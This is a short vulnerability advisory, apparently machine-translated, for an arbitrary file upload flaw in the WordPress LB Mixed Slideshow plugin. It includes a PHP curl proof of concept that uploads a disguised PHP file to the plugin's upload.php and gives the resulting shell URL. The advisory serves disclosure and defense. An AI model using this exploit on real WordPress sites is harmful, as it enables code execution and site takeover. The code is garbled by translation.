Arbitrary File Upload Vulnerability in WordPress LB Mixed Slideshow plug-in

Release date:
Updated on:

Affected Systems:
WordPress LB Mixed Slideshow Plugin 1.x
Description:
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WordPress is a Blog (Blog, Blog) engine developed using the PHP language and MySQL database. you can create your own Blog on servers that support PHP and MySQL databases.

LB Mixed Slideshow plugin for WordPress 1.0 has a security vulnerability. wp-content/plugins/lb-mixed-slideshow/libs/uploadify/upload. the php script does not correctly verify the uploaded files and can be maliciously used to execute PHP code.

<* Source: Sammy Forgit

Link: http://secunia.com/advisories/49610/
Http://www.opensyscom.fr/Actualites/wordpress-plugins-lb-mixed-slideshow-arbitrary-file-upload-vulnerability.html
*>

Test method:
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Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Sammy Forgit () provides the following test methods:

PostShell. php
<? Php

$ Uploadfile = "lo.php.gif ";

$ Ch = curl_init ("http://www.exemple.com/wordpress/wp-content/plugins/lb-mixed-slideshow/libs/uploadify/upload.php? Element_name = images & gid = 1 ");
Curl_setopt ($ ch, CURLOPT_POST, true );
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, array ('images' => "@ $ uploadfile "));
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
$ PostResult = curl_exec ($ ch );
Curl_close ($ ch );
Print "$ postResult ";

?>

Shell Access: http://www.exemple.com/wordpress/wp-content/plugins/lb-mixed-slideshow/gallery/1/lo.php.gif

Lo.php.gif
<? Php
Phpinfo ();
?>

Suggestion:
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Vendor patch:

WordPress
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Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://wordpress.org/